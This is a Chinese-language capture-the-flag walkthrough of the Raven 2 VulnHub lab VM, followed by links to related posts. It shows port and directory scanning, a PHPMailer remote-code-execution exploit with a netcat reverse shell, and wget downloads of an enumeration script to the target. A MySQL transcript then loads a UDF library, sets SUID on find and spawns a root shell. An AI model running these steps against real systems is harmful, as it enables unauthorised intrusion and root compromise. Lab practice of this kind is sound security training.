0X00 前言
Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM。有四个标志要捕获。在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器,以防止黑客进入。
0x01 发现存活主机
该虚拟机默认是NAT模式,因此无需调整网络模式
使用netdiscover 或者 arp-scan 获取 目标主机 ip:192.168.88.211
arp-scan -l 或者 netdiscover -r 192.168.88.1/24
探测目标主机开放端口以及服务信息
目标开放了22、80、111端口
访问web服务
0x02 web渗透
1.目录爆破
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
我们可以根据需要指定字典进行扫描
dirb http://192.168.88.211 /root/dir/dir_big.txt
使用dirb和dirsearch同时进行目录爆破,相比而言,dirb扫描结果貌似要好很多。
扫到一些目录,逐个去查看目录下是否存在flag
在vendor下的 PATH 目录发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
并且获得网站绝对路径:/var/www/html/vendor/
继续向下翻,一些PHPMailer的示例和说明文档等文件,貌似没什么用!
在vendor下存在一个版本说明文件,这个应该就是PHPMailer的版本信息了。
0x03 漏洞利用
PHPMailer版本小于5.2.20存在远程代码执行漏洞
使用searchsploit 搜索 可以利用的漏洞
修改exp,替换目标ip target为靶机ip,反弹连接的地址为kali地址。开启本地nc监听。
添加申明,否则非ASCII码字符会报错 # -*- coding: utf-8 -*-
修改后门路径地址 /var/www/html/
nc -nvlp 4444
运行该exp提示缺少requests_toolbelt模块,
pip install requests_toolbelt 安装该模块
访问链接,就会在网站根目录下生成一个backdoor.php
获取完整性shell,将shell转化为pty shell.
python -c 'import pty;pty.spawn("/bin/bash")';
在www目录下找到 flag2{6a8ed560f0b5358ecf844108048eb337}
在wordpress目录下通过find /var/www/html -name flag* 搜索发现flag3.png
直接访问后台wp-admin,
注:直接访问后台会连接错误,需要修改hosts文件,将192.168.88.211指向raven.local
进入wordpress目录打开wp-config.php找到数据库用户名密码
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
0X04 权限提升
使用提权脚本进行提权
开启web服务 php -S 0.0.0.0:88 -t /root
将提权脚本LinEnum.sh通过 wget 下载到目标机器
使用UDF提权
开启web服务,将udf exp 发送到 目标机器
python -m SimpleHTTPServer 88
在目标机器上编译会出错,我们可以本地编译好再上传。
gcc -g -c 1518.c gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
编译完成后会生成1518.c 和 1518.so文件,我们只需要so文件
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 60
Server version: 5.5.60-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table Micr067(line blob);
create table Micr067(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into Micr067 values(load_file('/tmp/1518.so'));
insert into Micr067 values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)
mysql> quit
quit
Bye
www-data@Raven:/tmp$ touch Micr067
touch Micr067
www-data@Raven:/tmp$ find Micr067 -exec 'whoami' \;
find Micr067 -exec 'whoami' \;
root
www-data@Raven:/tmp$ find Micr067 -exec '/bin/sh' \;
find Micr067 -exec '/bin/sh' \;
在root目录下找到 flag4{df2bc5e951d91581467bb9a2a8ff4425}
后记:看到你们不断拿到shell,我已经瑟瑟发抖,最近被那个挖洞被抓的新闻搞得人心惶惶。。。
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- DeRPnStiNK靶机渗透
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
- BTRsys1~2系列靶机渗透
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
随机推荐
- openstack实验环境搭建
Openstack实验文档 一.base节点 1.1配置网络 vim /etc/sysconfig/network-scripts/ifcfg-eth0 1.2关闭防火墙和selinux system ...
- 洛谷P2319 [HNOI2006]超级英雄 题解
题目链接: https://www.luogu.org/problemnew/show/P2319 分析 每错,这是一道海南不对是河南呀呀呀错了是湖南的省选题. 但是还是可以作为二分图第二题来练手的, ...
- 洛谷P1140 相似基因
题目:https://www.luogu.org/problemnew/show/P1140 分析: 本题一看就知道是一道动归,其实和字串距离非常的像,只不过多了题目规定的匹配相似度罢了. 匹配的相似 ...
- Spring+SpringMVC+mybatis maven pom文件
pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w ...
- 浏览器如何加载和解析CSS——CSS样式来源与层叠规则
关于CSS样式首先得理解浏览器如何加载它们,最终的页面样式是如何呈现的? CSS层叠样式表的关键在于"层叠",会根据选择符的使用而将样式相互叠加或者覆盖. CSS样式表之所有有&q ...
- 关于object对象转换为int类型
注意:不能强制转换!!! Object a; int b = Integer.parseInt(String.valueOf(a));
- 【Android Studio】类名字右下角红色的 J 【待解决】
问题如下图所示: 正在寻找结解决方法--
- Letters Shop
B. Letters Shop time limit per test 2 seconds memory limit per test 256 megabytes input standard inp ...
- Spark 系列(五)—— Spark 运行模式与作业提交
一.作业提交 1.1 spark-submit Spark 所有模式均使用 spark-submit 命令提交作业,其格式如下: ./bin/spark-submit \ --class <ma ...
- 武林 HDU - 1107
题目链接:https://vjudge.net/problem/HDU-1107 注意:题目中只有两个不同门派的人在同一个地方才能对决,其他情况都不能对决. 还有,这步的有效的攻击只有走到下一步之后才 ...